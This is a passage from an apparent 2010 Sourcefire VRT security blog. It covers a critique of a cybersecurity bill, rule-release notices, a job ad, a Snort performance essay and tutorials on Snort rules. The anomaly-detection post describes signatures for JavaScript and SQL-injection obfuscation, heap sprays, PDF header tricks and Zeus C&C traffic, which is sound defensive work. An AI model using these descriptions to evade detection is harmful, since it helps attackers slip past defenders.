Since NERC hasn’t been able to fix this, and the Department of Energy and Federal Energy Regulatory Commission apparently are unable to deliver the regulations necessary to fix it, maybe this is the only way to address these issues. When you declare that an electric grid is a system “so vital to the United States that the incapacity or destruction of such…would have a debilitating impact on security, national economic security….” maybe you should keep the damn thing off the Internet. (I'm going to say this more than once, just so you know). It seems so obvious to every security professional I talk to and to NERC itself. Clearly they won’t self regulate here, so maybe this is the answer. (Note that I understand that this act targets “National Critical Information Infrastructure”, but the market and privacy concerns in the information infrastructure are 10 times worse, yet we haven't even addressed the "easy" (for some value of easy) case).

Then, finally we get to the section that drives everyone nuts (you know, the kill-it-with-fire part). Section 249: National Cyber Emergencies. In short, the DHS has the authority, when the President declares a Cyber Emergency to “develop and coordinate emergency measures or actions necessary to preserve the reliableoperation and mitigate or remediate the consequences”. What this means is that in a “Cyber Emergency”, the DHS can do anything it feels necessary to the critical infrastructure systems of the U.S. and can mobilize the entirety of the Federal Government, provided the DHS does not “supersede the authority of the Secretary of Defense, the Attorney General or the Director of National Intelligence in responding to a national cyber emergency”.

Yeah, this is a good time to panic. I think we’ve amply demonstrated over the last decade that even when a President is restricted by law his actions can be…aggressive, and this essentially hands over to the executive branch the complete control of the nations critical infrastructure. It doesn’t matter that there are hoops to jump through, the authority and the broad power that this bill allows for is simply unacceptable. Further, we’ve absolutely avoided holding any high-level political figure accountable for his or her actions (did you just say Scooter Libby? Stop it…) as they relate to violations on the restriction of powers. We just don’t do it.

Also, I've never had a great deal of respect for anyone that comes to me in a panic about some issue when they've failed to do the things already in their power to address it themselves. There is already regulatory power already vested in a number of Government entities, and they have failed to exercise that power (DOE, FERC, I'm looking at you) to mandate even the most basic of security practices (like not putting our power grid on the Internet). The list of "Critical Infrastructure" that relies on the Internet is simply unforgivable. If its critical, get the damn thing off the Espionage Super-Highway. What I'm saying here, is don't come to me saying you need broad, unmitigated power to manage a situation because it is so horrible when you have failed utterly to mitigate and reduce the chance that that situation will actually come to fruition.

This clause is glass-house based rock throwing. When the Federal Government demonstrates that it can protect itself from cyber attack, when you can stop the terabytes of data flooding from Government and defense contractors, when they show that this issue is so important that they are willing to deliver regulation NOW to these critically important organizations, when you've done everything you can to ensure that this power will never need to be used...then, and only then is it appropriate to discuss this. Earn it, Senator Lieberman, show me that the Federal Government is willing to do more than just panic after the fact. (Hello 9/11, Katrina, BP).

All this and I didn’t even get to the part where the Director has “sole, unreviewable discretion” to decide how to address problem and deficiencies related to security issues in “national information infrastructure” or any infrastructures that is “owned, operated, controlled or licensed for use by, or on behalf of, the [DoD] or intelligence community”. Look….using terms like “sole, unreviewable discretion” just isn’t conducive to a trusting relationship between the public sector and the DHS. We’re already mad at you about the whole shoe thing anyways.

So here’s the deal, Sen. Lieberman.You’re on the right track here, concentrate on the following:

Ensuring open communications channels between the private sector and the Federal Government.
Ensure an aggressive declassification (within the limits of law and protecting sources, etc…) of threat information so that the private sector can be notified so they can modify their defensive posture.
Build a coordination center that targets not just Federal to Private sector communication, but communications within an industry vertical with the ability to bring in both offensive and defensive experts to assist in mitigations.
Provide an avenue for technical assistance to critical infrastructure organizations so that even organizations without a mature security posture can react in an agile manner to threats.
If market forces don’t move critical infrastructure operators to do right, then fix it.
Prove that you are willing to take the steps necessary to prevent incidents of this magnitude prior to them happening.
Let’s revisit the “Incredible Cosmic Power” approach to incident response.Even if it is scaled back to providing a list of recommended actions backed by an automatic exemption from civil liability if organizations act on them.But we cannot simply hand over the infrastructure to the Federal government.

Good luck, Joe…unfortunately, you’re going to need it.

Rule Release for Today - June 14th, 2010

2010-06-14T15:20:00.001-04:00

Apple Safari RCE (CVE-2010-1939), Google Chrome GLUG bypass (CVE-2010-1663). Details available here: http://www.snort.org/vrt/advisories/2010/06/14/vrt-rules-2010-06-14.html/

Sourcefire VRT Expansion Plans (We are Hiring)

2010-06-14T08:46:00.000-04:00

One of the hardest things in life is finding the right place to work, where you can spend eight to ten hours a day doing something you enjoy and also pay your bills. I’ve been lucky enough in my life to find this type of place three times: HiverWorld, Farm9, and Sourcefire. Each one of these places had a number of attributes that made it appealing to me, and made it where I wanted to spend the vast majority of my time. Since I’m lucky (maybe unlucky) enough to be the guy responsible for the Sourcefire VRT, I’ve been able to take all the things that appealed to me about all these companies, and build a team where the people have all the right personality traits, and the environment has all of the right factors.

If the following 10 things appeal to you and describe the qualities you want in your co-workers and your workplace, then the VRT is interested in talking with you. Please submit your resume on Sourcefire’s website or send us a message at research@sourcefire.com

Submit Resume here

Passion (for the work) – Very few people are trained academically for vulnerability analysis, malware analysis, network engineering, or hacking. It is something that is learned by experience and experimentation. If you have dedicated your free time and lost countless days and nights perfecting some portion of it then you have the passion I’m talking about.
Good people – If you enjoy an environment were everyone around you is better than you at something and is willing to teach you their skill in exchange for your own, then the VRT might be the right place for you.
Goals – Clear definitions of strategic goals to the best of my ability and my managers’ abilities. If we can’t clearly explain the “why” then we won’t ask you to waste your time on it.
Belief – A group of people that share an intrinsic belief that it is possible to accomplish difficult, if not “currently” impossible, goals. More importantly, this belief is present not because of arrogance, but because of our experience proving that we actually can accomplish these goals.
Drive – A personal drive that exceeds the average. If you’ve worked on a problem for many months, still haven’t solved it, but truly believe you will shortly, you are either hard headed or have a lot of drive. Whether you’re pushing yourself by hitting your head on a wall, or just plain never giving up, you will most likely create a positive outcome.
Latitude – If you hate rules but understand personal responsibility, this might be the environment for you. You’ll get just enough rope to hang yourself, as long as you take responsibility for your own demise.
Trust – An environment were you can trust the people you work with to actually do what they say, do it to the best of their ability, and trust you to do the same.
Responsibility – For your actions and your words. If you broke it, you fix it. If you said you would do it, do it.
Risk – An environment where you are allowed to take risks in the pursuit of goals. Risk is the potential to fail and without failure there is no opportunity to learn. You will be able to take risks as long as you sign up for the responsibility of failing.
Leadership – You expect the people above you to actually lead, and trust them enough to actually follow them.

If these ten things fit your personality, and describe the place you want to work, please see the job description below. When submitting your resume please include either a comment or something in your actual resume that references the fact that you read this post.

Title: Research Analyst

Basic Purpose

This role is primarily responsible for developing Snort rules and other protection mechanisms for Sourcefire products based on information from public and private vulnerability feeds. The researcher will work on a team of analysts that are responsible for rapidly developing the necessary protection methods to protect Sourcefire customers from emerging threats. Research analyst also work with a variety of fuzzing frameworks, exploit development tool kits, and code coverage tools to quickly developing PoC (Proof of Concept) test cases for public vulnerabilities.

Essential Duties and Responsibilities

Develop Snort rules, ClamAV signatures, and risk analysis reports for internal review and external customers.
Conduct vulnerability analysis and risk assessments on public and private vulnerabilities.
Develop PoC test cases for vulnerabilities based on the information provided for triggering the vulnerabilities.
Work with fuzzing tools and code coverage tools to develop threat profiles for open and closed source applications.
Debug false positives and false negatives in Snort rules and other protection mechanisms.

Essential Education, Skill, and EnvironmentEducation and Work Experience

No previous work experience or formal education required.

Required Knowledge and Skills

Experience configuring Windows and Linux/UNIX applications.
Strong analytical and troubleshooting skills.
Experience with TCP/IP and networking in general.
Intermediate knowledge of PERL, Python, and/or Ruby.
Ability to learn new skills and apply them in a rapidly changing, high-pressure environment.

Preferred Knowledge and Skills

Experience with Snort & other network security tools.
Experience with network configuration and deployment.
Experience with PCRE or equivalent regular expression library.
Highly motivated and creative.

Work Conditions

Works closely with software reverse engineers and research analysts to quickly develop Snort rules and other protection mechanisms based on the provided vulnerability details.
Moderate to high levels of stress will occur at times.
Fast paced and rapidly changing environment.
Extremely talented and experienced team members and mentors.
No special physical requirements.
Constant internal training, drinking games, and heated discussions.

Rule Release for Today, June 10th, 2010

2010-06-10T17:53:00.001-04:00

Microsoft Help and Support Center Bypass Vulnerability:

Changelogs here: http://www.snort.org/vrt/advisories/2010/06/10/vrt-rules-2010-06-10.html/

Rule Release for today - June 8th, 2010

2010-06-08T13:30:00.001-04:00

Here we are again, Microsoft Tuesday for June 2010. A number of issues this month and rules to provide coverage for attack detection. Main advisory numbers for IDS/IPS coverage are MS10-033, MS10-034, MS10-035, MS10-038, MS10-039 and MS10-041. Check out the advisory and changelog here: http://www.snort.org/vrt/advisories/2010/06/08/vrt-rules-2010-06-08.html/

Single Threaded Data Processing Pipelines and the Intel Architecture

2010-06-07T15:59:00.000-04:00

Or,

No Performance for you, go home now.

Today's blog post is a guest appearance by our Benevolent Dictator and Glorious Leader, Marty Roesch.

We asked Marty for his thoughts on threading, performance and processing network data. Here's what we got:

Executive Summary

Performance of processes on current- and next-generation Intel CPUs is closely tied to proper cache utilization. Claims being made regarding Snort’s capability to maximize performance of today’s multi-core platforms are ignorant of the Intel CPU architecture and the steps that can be taken to make it perform on that architecture. Performance of Snort-like packet processing has nothing to do with threading and everything to do with proper load allocation on the available computing resources of a device. Sourcefire has demonstrated that Snort can perform at very high speeds on both single and multi-core machines by virtue of proper configuration and load allocation.

Discussion

There is a lot of FUD being thrown about in the IDS/IPS world regarding single threaded versus multi-threaded packet processing in the Snort detection engine architecture and its impact on top-line performance. The claims being made generally center on the age of Snort’s engine architecture and the appropriate utilization of compute resources on the modern Intel architecture. This paper will analyze the primary claims and provide a technical briefing on the matter at hand.

Intel CPU Architecture

One of the first things to understand about the Intel CPU is that it relies heavily upon cache for its performance. When a program is run its code and data are loaded into system memory and they are processed by the CPU. Read/Write Access to system memory is much slower than the CPU can process data through its primary processing logic so Intel added caching to its CPUs to prevent them from spending most of their time waiting for memory accesses. On the Intel Core 2 Duo architecture shown above there are two caches, an L1 cache which is very fast and small (due to the expense of making memory that fast) and a much larger L2 cache which is somewhat slower than L1 but much faster than system memory.

When a program is running, the CPU tries to predict which memory it’s going to need next and loads the L1 and L2 caches appropriately to minimize time spent waiting on memory access. Programs that perform very poorly will frequently be seen to be inefficient at the cache level exhibiting a large number of “cache misses”. In these programs the CPU burns so many cycles waiting for the cache to be refilled with needed data that performance suffers. Fast programs are built to take maximum advantage of the cache architecture of the CPU.

With today’s multicore CPUs this picture gets more complicated. In a multicore CPU with multiple processes spread across different cores the same rules apply in general. A program with efficient cache attributes will perform better than one that is cache inefficient. The complication comes when the programs become multi-threaded in the multi-core environment.

The idea behind multithreading is to speed up throughput of a process by having multiple simultaneous threads of execution working on multiple pieces of data. A multithreaded process that has one thread stalled waiting for data can execute another thread on another piece of data which maintains high overall throughput in the system. For processes that take maximum advantage of this arrangement there can be substantial performance improvements.

There is downside, however. Threads that are spread across CPU cores which operate on the same data have to keep their caches synchronized (or, coherent). As shown in the diagram above, there is an L1 cache per core and a shared L2 cache on the Intel Core 2 CPU architecture. This architecture is the same on all current Intel x86 CPUs. When there are two different threads operating on the same data executing across two different cores in this architecture, the L1 caches have to be synchronized with one another essentially for every access across the L2 cache. Boiling it down, every time you access memory (even for a read) you have to spend some clock cycles synchronizing the cache.

The downside gets even worse if the threads are spread across multiple CPU dies (the physical chips themselves). Multi-die systems are very common today, for example recent Intel 4-core CPUs are really two 2-core dies in a common package. When the threads are running on multiple physical dies and there’s a cache coherency update to keep the local L1/L2 caches synchronized the updates happen across the main memory bus (or, front side bus). The front side bus is much slower than the CPU cache and it’s also a broadcast bus, all devices that are plugged into it have to look at any message on the bus to figure out if its for them or not. Things that are plugged into the bus include all the CPUs on the system and the main memory.

Looking at the architecture of the Intel CPU a few things become very clear when looking at writing high performance code. Threads should access data on their own core only. Accessing a single piece of data across multiple cores has major performance impact that will not be made up for by increased throughput in a serial packet processing framework like Snort.

Snort Architecture and Design

Snort is a single-threaded multi-stage packet processing pipeline, it runs on one CPU core and the data that it processes stays resident on that core and in that cache. Packets arrive off of the network serially and are processed in the order of reception. If the bandwidth being passed by the network interface associated with a Snort instance is greater than it can handle more instances of Snort can be launched and the traffic can be load balanced across the instances. That is how Sourcefire sensors achieve their high multi-gigabit performance today, a kernel-based load balancing mechanism drives traffic to multiple Snort instances that each run on a single CPU core and can consume over a gigabit per second per core of traffic.

This design has some inherent advantages. It is simple and rugged, there are no corner cases that can cause deadlock and freeze the processing pipeline for multiple cores of execution. Because it doesn’t use threading it doesn’t suffer from concurrency and locking overhead required to maintain the internal consistency of a multithreaded application which hinder performance. Putting the load balancing mechanism outside of Snort allows multiple (hardware or software based) methods to be utilized to increase aggregate system performance.

In short, today’s Snort architecture is well suited to take advantage of modern Intel CPU design when intelligently paired with load balancing and platform resource management.

The case for Intelligent Multithreading

Multithreading can be useful for several things in an application like Snort:

Presenting a single point of more interactive management for multiple analysis threads with the same configuration.
Sharing information between threads to provide additional detection information.
Load-balancing across threads with a common configuration.

In the first case, it can be seen that in a given Snort instance a “nice to have” would be a unified interactive management interface to a set of Snort instances for the purposes of managing the configuration and runtime behavior of the overall process. SnortSP implements this idea by providing a shell interface that allows a user to construct a traffic analysis thread from major components (data source, analytics, etc) and run them against an interface set while maintaining interactive access to the analyzer thread. Any modern IPS implementation that provides the level of functionality that Snort does (i.e. open source, extensible platform) should have a similar capability built into it.

The second case of information sharing is useful for a number of applications. In a multithreaded instantiation where different threads are performing different tasks (e.g. Snort/RNA) on copies of the same data there can be very useful data exchange between the threads such as real-time detection tuning or multi-session attack correlation. The key here is that if two threads are operating on the same data that the data for each thread reside in independent memory space so that the CPU cache management system doesn’t attempt to keep the caches synchronized. There will be some overhead for the initial buffer creation and copying but this will be far less than the cache sync overhead.

The third case is one of load balancing traffic across multiple instances of Snort with a common configuration. Functionally this is the same as what is being done today on Sourcefire sensors except that the load balancing happens in the process and is made less efficient than the current mechanisms due to synchronization and locking overhead of the thread management system. Given the performance that is seen in the Snort 2.x code base today this third option is not particularly desirable on the x86 platform.

The Intel architecture lends itself to an optimal application architecture where one thread that runs on a single CPU core processes an individual piece of data and then moves on to the next one. Multiple threads are useful on that CPU core if a single thread would stall the CPU while waiting for data to load or an instruction to execute. Several of the research paths currently being pursued by Sourcefire involve this architecture.

If the top level worst case of Snort performance is an optimization target then a new detection engine architecture should be investigated. The current model that buffers and processes packets has memory management and processing overhead that has worst-case performance implications that are noticeable to the user of the system. A new processing architecture that utilized in-sequence packet processing via finite state machines (FSM) and reduced or eliminated buffering could see significant performance gains over the current detection architecture.

What Not To Do

An architecture that should be avoided at all costs is a threading system that spreads the computational load of a single piece of data across multiple CPU cores. This approach will maximize cache misses on any single core and require continuous reloading of the cache across the multiple CPU cores that are involved in data processing as well as constant cache synchronization. An architecture that implements this mechanism will have very bad worst case performance and its best case performance will be far below what can be achieved per core on a single threaded application performing the same tasks.

Conclusion

In this paper the architecture of the Intel CPU and Snort were explored as well as the architecture of multithreaded applications and their interaction with the Intel caching model. An analysis of different cases for multithreading Snort-like applications was also performed. In the real world performance claims of one architecture versus another it can be shown that the Snort 2.x architecture is highly optimized for today’s CPUs when paired with an intelligent load balancing mechanism.

Rule release for today, Tuesday May 25th, 2010

2010-05-25T16:04:00.000-04:00

A maintenance release, new rules in web-client, web-misc, backdoor, oracle, policy and specific-threats rule sets and an extensive set of rule updates.

Check it out: http://www.snort.org/vrt/advisories/2010/05/25/vrt-rules-2010-05-25.html/

Rule release for today, Tuesday May 18th, 2010

2010-05-18T16:57:00.000-04:00

Changes to web-client, web-misc, backdoor, smtp and specific-threats rule sets.

Check here: http://www.snort.org/vrt/advisories/2010/05/18/vrt-rules-2010-05-18.html for change logs etc..

Vulnerability Report - May 2010

2010-05-12T16:48:00.002-04:00

Rule release for today, Tuesday May 11th, 2010

2010-05-11T18:31:00.000-04:00

Microsoft Tuesday folks, just two advisories today and two rules to cover them. Read all about it here: http://www.snort.org/vrt/advisories/2010/05/11/vrt-rules-2010-05-11.html

Enjoy.

Known Unknowns: The "Don't Do That" Rules

2010-05-06T11:46:00.000-04:00

I recently had a chance to speak with several Sourcefire customers on a trip to the Tennessee/Kentucky area. While it's always nice to talk to customers and get a better idea of how people use Snort in the wild, this trip was particularly interesting, since the customers I spoke with were high-end analytical types - people who not only use Sourcefire gear to its full potential, but who also had interesting insight into today's threat landscape.

With this background, I made a surprising discovery about the way people appear to be using the VRT rules: none of them were employing, or were even really aware of, what I call our "Don't Do That" rules - anomaly detection signatures that find attempts to obfuscate bad behavior, interesting new 0-day, and other generically bad stuff. Since we've found these rules useful, and have had positive feedback from users who are running them, I've decided to highlight some of the more interesting rules in this group, both to make time-starved analysts aware of them, and to solicit further feedback on their use in the wild.

So, without further ado, here are the rules, and the logic behind them:

"POLICY Adobe PDF start-of-file alternate header obfuscation attempt" / SID 16354 - This looks for a technically valid, but non-standard PDF header. Will it fire on legacy documents and other odd, but perfectly valid, files? Sure. Will it also find documents where attackers are deliberately trying to evade detection by IDS, antivirus, etc.? Definitely. Given the flood of PDF exploits we've seen in the wild over the past year or so, we figure that the more tools your analysts have for finding non-standard PDFs, the better.
"POLICY Adobe PDF alternate file magic obfuscation" / SID 16390 - Same concept as SID 16354, slightly different part of the file specification.
"SQL oversized cast statement - possible sql injection obfuscation" / SID 13791 - The SQL cast() function on its own is part of any database programmer's repertoire. However, it generally doesn't appear directly in a URI - and more importantly, when it does, the data inside of the parentheses is generally under 250 characters (if the data is actually that long, it's inside of a variable somewhere - nobody wants to manually type out a string that size). Since we've seen tons of SQL-injector malware that employs calls to cast() with huge chunks of data, however, this was introduced as an easy way to catch lots of different types of malware in one fell swoop.
"SQL oversized convert statement - possible sql injection obfuscation" / SID 13987 - Same logic as SID 13791, only with an alternate SQL function.
"SQL large number of calls to ascii function - possible sql injection obfuscation" / SID 13988 - As with SID 13791, most malware being injected into a database is going to be obfuscated. The ascii() function simply converts a hexadecimal character into its ASCII equivalent, a common obfuscation technique. This rule looks for five calls to this function within a single request, which we feel strikes a balance between detecting malware that uses the call and skipping over legitimate programming uses for ascii().
"SQL large number of calls to char function - possible sql injection obfuscation" / SID 13989 - Same concept as SID 13988, different function.
"SQL large number of calls to concat function - possible sql injection obfuscation" / SID 14008 - Same concept as SID 13988, different function.
"WEB-CLIENT obfuscated javascript excessive fromCharCode - potential attack" / SID 15362 - This rule looks for delivery of client-side malware, which is typically included in a web page (either after a successful SQL injection attack or on a just plain malicious site). Much like the SQL ascii() function, this rule looks for the JavaScript String.fromCharCode() call, which returns ASCII string data from a hexadecimal equivalent. This rule was created after seeing this technique employed within a wide range of malware samples, and requires five consecutive calls to this function, with at most 100 bytes between each call, to help weed out legitimate uses of this core piece of JavaScript.
"WEB-CLIENT Potential obfuscated javascript eval unescape attack attempt" / SID 15363 - One of the classic malware obfuscation techniques, which is still heavily employed today, is to use a JavaScript call similar to eval(unescape()). This rule looks for such calls with a minimum of 250 bytes of data inside the unescape() call - something which happens very rarely in legitimate traffic, but all the time in attacks of this type.
"WEB-CLIENT Generic javascript obfuscation attempt" / SID 15697 - It is possible, in JavaScript, to "re-declare" the names of built-in functions - i.e., var foobar = unescape; var cleartext = foobar("");. Metasploit has a built-in function that does just this for the unescape() function, which, as just noted, is often used to obfuscate client-side attacks. Since a legitimate web page has little to no reason to redeclare the name of the unescape() function, this rule looks for such behavior as an indicator of malicious intent.
"WEB-CLIENT Possible generic javascript heap spray attempt" / SID 15698 - Many JavaScript-based exploits use a technique called heap spraying - in a nutshell, filling memory with data that will be used as part of the exploitation process, to make it more likely that attacker-supplied data will be accessed by the vulnerable program. This rule looks for a sequence of bytes typically associated with heap sprays in JavaScript, which have very few, if any, legitimate use cases in the wild.
"EXPLOIT Possible Adobe Flash ActionScript byte_array heap spray attempt" / SID 15729 - ActionScript, the Flash answer to JavaScript, has a function called ByteArray(), which allows developers to work with binary data. This function is not particularly widely used - the official Adobe documentation actually calls it out as being only for advanced developers - and this rule looks for a specific set of bytes used in conjunction with the call that we've found in ActionScript-based exploits.
"EXPLOIT Possible Adobe PDF ActionScript byte_array heap spray attempt" / SID 15728 - Same detection as SID 15729, only used in conjunction with a flowbit that looks for files declared as PDFs (SID 15729 looks for files declared as SWF). You can thank Adobe for allowing people to embed Flash in PDFs on this one.
"WEB-CLIENT obfuscated header in PDF" / SID 16343 - This shared-object rule (whose C code is open source) examines object tags within PDF files. Per the specification, an object tag can be declared either as ASCII data (i.e. "JavaScript"), hex data (i.e. "#4a#61#76#61#53#63#72#69#70#74"), or a mixture of the two. Normal, legitimate PDFs typically declare objects as one or the other; malicious PDFs, including those generated by Metasploit, often mix the two in an attempt to evade detection. This rule looks for mixed encoding in an object tag (i.e. "J#61va#53#63rip#74").
"WEB-MISC text/html content-type without HTML - possible malware C&C" / SID 16460 - This rule came out of an analysis of the Zeus trojan, as well as other nasty pieces of malware. Since Zeus encrypts all of its command and control data, yet declares in the HTTP headers that the traffic will be of type "text/html", this rule looks for HTTP packets which declare that content type, but which do not actually contain plaintext HTML. In our testing, this found Zeus reliably, and picked up on other pieces of malware as well. Given the fact that HTTP servers do lots of strange things in the wild, we're very interested in seeing any false positives you might have on this rule, so we can account for whatever odd thing the servers you're interacting with are doing.
"POLICY Suspicious .cn dns query" / SID 15167 - Most security analysts have seen malware hosted on insane domain names like qxpvfsztr.cn - and all it takes it one look at a name like that to know that something really fishy is going on. This rule helps your IDS find such names, by searching for DNS queries for .cn (i.e. Chinese) domains that contain 5 or more consonants in a row.
"POLICY Suspicious .ru dns query" / SID 15168 - Same concept as SID 15168, except with .ru (i.e. Russian) domains.
"WEB-ACTIVEX obfuscated ActiveX object instantiation via unescape" / SID 16573 - Metasploit sometimes hides the name of the ActiveX controls it is attempting to exploit by hex-encoding it. There is no legitimate reason to have the name of an ActiveX object that you're instantiating encoded, so we detect this behavior as likely malicious.
"WEB-ACTIVEX obfuscated ActiveX object instantiation via fromCharCode" / SID 16574 - Same concept as SID 16574, but looking for a different function to decode the name of the control.

We're always constantly thinking about new anomaly detection rules that we could add - for example, we're currently considering a rule that looks for, in essence, "var shellcode = ". Since we know that there are lots of good analysts out there who have written their own anomaly rules, if you have anything you'd like to share with us, drop us a line at research@sourcefire.com or start up a thread on the Snort-Sigs mailing list. Also, if you find that any of these rules are flagging a high percentage of normal traffic, send us samples at fp@sourcefire.com, so that we can fix things, both for you and the community at large.

Rule release for today, Thursday April 29th, 2010

2010-04-29T15:04:00.005-04:00

Performance update release for 2.8.6 to utilize HTTP buffers and fast_pattern.

Check here for details.

Using Snort fast patterns wisely for fast rules

2010-04-27T10:56:00.006-04:00

Anyone that's ever written their own Snort rule has wondered, at some point or another, about how to make their rule(s) faster. While some things are obvious - don't use a PCRE with a bunch of ".*" clauses, for example - others are less so. Today I'd like to go over one of the more subtle methods of speeding up a rule, which has been highlighted by some new features in Snort 2.8.6.

Any rule that has one or more content matches in it has a fast pattern associated with it - the string that Snort puts into its fast pattern matching engine to begin the process of detection. Chosen somewhat intelligently by Snort itself, this pattern is usually the longest string in a rule; as a general rule of thumb, the longer the string is, the faster a rule will be, with strings of four or more bytes typically being necessary to reap the benefits of the fast pattern matcher. Only if this string is found in a packet does Snort evaluate the remaining options in the rule - which means that the fewer times the fast pattern matches, the less performance drag the rule will create on Snort. Thus, the goal of a rule-writer should be to choose a fast pattern that will be as closely associated with the actual triggering conditions of the rule as possible - if you can generate an alert for most of the times you actually enter a rule, you've successfully targeted your detection, and written a rule with the minimum possible performance impact on Snort.

Up until Snort 2.8.6, unfortunately, rule writers had little control over what was chosen as a rule's fast pattern. With the introduction of the fast_pattern keyword and a new config option, however, that's all changed.

Let's start by going over the new config option, since it will provide us with the intelligence we need to properly use the fast_pattern keyword. It's really rather simple; just add:

debug-print-fast-pattern

...to your config detection statement (NOTE: if you try to specify this on a line separate from your non-default config detection statement, you'll end up setting all detection parameters back to their defautls.)

Just add this line to your Snort config, and you're good to go. If you run Snort with this option enabled, you'll get output similar to the following:

1:6407 Fast pattern matcher: Content Fast pattern set: no Fast pattern only: no Negated: no Pattern offset,length: none Pattern truncated: no Original pattern "INVITE|20|SIP:" Final pattern "INVITE|20|SIP:"

For the sake of this example, we're running Snort with just the following rule enabled:

alert udp $HOME_NET any -> $EXTERNAL_NET 5060 (msg:"POLICY Gizmo register VOIP state"; content:"INVITE sip|3A|"; nocase; content:"User-Agent|3A|"; nocase; content:"Gizmo"; nocase; pcre:"/^User-Agent\x3A[^\n\r]+Gizmo/smi"; reference:url,www.gizmoproject.com; classtype:policy-violation; sid:6407; rev:1;)

As noted earlier, Snort has chosen the longest available string - "INVITE sip|3A|" - as the fast pattern for the rule. The problem, unfortunately, is that this pattern will match on all SIP invitations, whereas the rule will generate an alert on only a tiny portion of those requests. Clearly, this is sub-optimal from a performance perspective.

With the new fast_pattern keyword, however, we can fix this problem. By updating the rule to read as follows:

alert udp $HOME_NET any -> $EXTERNAL_NET 5060 (msg:"POLICY Gizmo register VOIP state"; content:"INVITE sip|3A|"; nocase; content:"User-Agent|3A|"; nocase; content:"Gizmo"; nocase; fast_pattern; pcre:"/^User-Agent\x3A[^\n\r]+Gizmo/smi"; reference:url,www.gizmoproject.com; classtype:policy-violation; sid:6407; rev:1;)

...we get the following output from Snort:

1:6407 Fast pattern matcher: Content Fast pattern set: yes Fast pattern only: no Negated: no Pattern offset,length: none Pattern truncated: no Original pattern "GIZMO" Final pattern "GIZMO"

As you can see, the fast pattern has been changed per the keyword we used, and Snort now notes that we've explicitly set the fast pattern (i.e. "Fast pattern set: yes"). Since the string "Gizmo" is likely to be orders of magnitude less common than "INVITE sip|3A|" in SIP traffic, the number of times this rule is evaluated will drop dramatically, and the rule will get a commensurate performance boost.

So based on this information, given the following rule, what would you expect the fast pattern to be for the following rule?

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"SPYWARE-PUT Hijacker xp antispyware 2009 runtime detection - pre-sale webpage"; flow:to_server,established; uricontent:"/buy.html?"; nocase; uricontent:"wmid="; nocase; uricontent:"skey="; nocase; content:"Host|3A| www.xpas2009.com"; nocase; reference:url,research.sunbelt-software.com/threatdisplay.aspx?name=XPAntiSpyware%202009&threatid=429593; reference:url,www.ca.com/us/securityadvisor/pest/pest.aspx?id=453141780; classtype:misc-activity; sid:16136; rev:2;)

If you answered "Host|3A| www.xpas2009.com", you'd be wrong - because of the way Snort picks fast patterns when you have a mix of buffers:

1:16136 Fast pattern matcher: URI content Fast pattern set: no Fast pattern only: no Negated: no Pattern offset,length: none Pattern truncated: no Original pattern "/BUY.HTML?" Final pattern "/BUY.HTML?"

As you can see, Snort chose the longest pattern out of the URI buffer. In a lot of cases, this default will make sense - after all, the URI buffer is usually smaller than the regular content buffer, and searching a smaller space will be faster. In this particular case, however, we've ended up with a fast pattern that will be fairly common in web traffic - or, at the very least, more common than a search for a particular host string. Since the goal is to enter the rule as little as possible, we want to override this behavior, and go for the more unique pattern:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"SPYWARE-PUT Hijacker xp antispyware 2009 runtime detection - pre-sale webpage"; flow:to_server,established; uricontent:"/buy.html?"; nocase; uricontent:"wmid="; nocase; uricontent:"skey="; nocase; content:"Host|3A| www.xpas2009.com"; nocase; fast_pattern; reference:url,research.sunbelt-software.com/threatdisplay.aspx?name=XPAntiSpyware%202009&threatid=429593; reference:url,www.ca.com/us/securityadvisor/pest/pest.aspx?id=453141780; classtype:misc-activity; sid:16136; rev:2;)

1:16136 Fast pattern matcher: Content Fast pattern set: yes Fast pattern only: no Negated: no Pattern offset,length: none Pattern truncated: no Original pattern "HOST:|20|WWW.XPAS2009.COM" Final pattern "HOST:|20|WWW.XPAS2009.COM"

We can actually optimize even further from here. As it turns out, once a fast pattern has been matched, and a rule has been entered, Snort will spend CPU cycles looking for the content chosen as the fast pattern again, this time using the content matching engine. While this seems duplicative, in many cases, it's useful; for example, if a content clause follows the one chosen as the fast pattern content, and that second content uses distance and within to force a match only relative to the end of the fast pattern, Snort needs to find the fast pattern that second time to properly evaluate the second content clause. However, for this particular rule, that's not the case, and so there's no point in bothering to find this string a second time. With that in mind, we'll change fast_pattern; to fast_pattern:only;, and save the CPU cycles during rule evaluation. Finally, since the string we're looking for should only be found in the HTTP headers, we'll use the new http_header; keyword to restrict the search to that buffer (which is explicitly split out for the first time in Snort 2.8.6), and end up with the following rule:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"SPYWARE-PUT Hijacker xp antispyware 2009 runtime detection - pre-sale webpage"; flow:to_server,established; uricontent:"/buy.html?"; nocase; uricontent:"wmid="; nocase; uricontent:"skey="; nocase; content:"Host|3A| www.xpas2009.com"; nocase; fast_pattern:only; http_header; reference:url,research.sunbelt-software.com/threatdisplay.aspx?name=XPAntiSpyware%202009&threatid=429593; reference:url,www.ca.com/us/securityadvisor/pest/pest.aspx?id=453141780; classtype:misc-activity; sid:16136; rev:2;)

...and the associated debug output:

1:16136 Fast pattern matcher: URI content Fast pattern set: yes Fast pattern only: yes Negated: no Pattern offset,length: none Pattern truncated: no Original pattern "HOST:|20|WWW.XPAS2009.COM" Final pattern "HOST:|20|WWW.XPAS2009.COM"

(Note: just because the debug output specifies "URI content" here doesn't actually mean that the pattern is being searched for in the URI buffer. I've verified through testing and talking to the development team that the HTTP header buffer is what's being searched here; the output is the way it is because the HTTP-related buffers, including the URI buffer and the header buffer, are grouped together at the point this output is printed.)

One additional item to be cognizant of, for those who begin using the newly available ac-split fast pattern method introduced in 2.8.6, is pattern truncation. The recommended configuration for this method includes the directive "max-pattern-len 20", which will truncate fast patterns at 20 bytes; doing so helps with the memory footprint for Snort, and generally 20 bytes is sufficient for simply using a fast pattern to determine entry into a rule. If your Snort install is set up in this manner, and you need to specify which bytes of a long pattern are the most unique, you can use the fast_pattern:x,y; modifier to the content you're operating on, to specify the start and end bytes of the portion of the content you wish to use as the fast pattern (you can exceed the 20 byte truncation limit by doing this - Snort will take all of the specified bytes). Note that if you specify fast_pattern:only; on a pattern longer than the number of bytes specified in your configuration, the entire pattern will be used, regardless of its size.

With this new functionality in hand, the VRT is busy reviewing our entire ruleset, looking for places where rules can be optimized by proper tweaking of fast pattern settings. Expect to see thousands of changes to the rules over the next several weeks as we work through and implement all of these changes.

Rule release for today - April 26th, 2010

2010-04-26T15:44:00.004-04:00

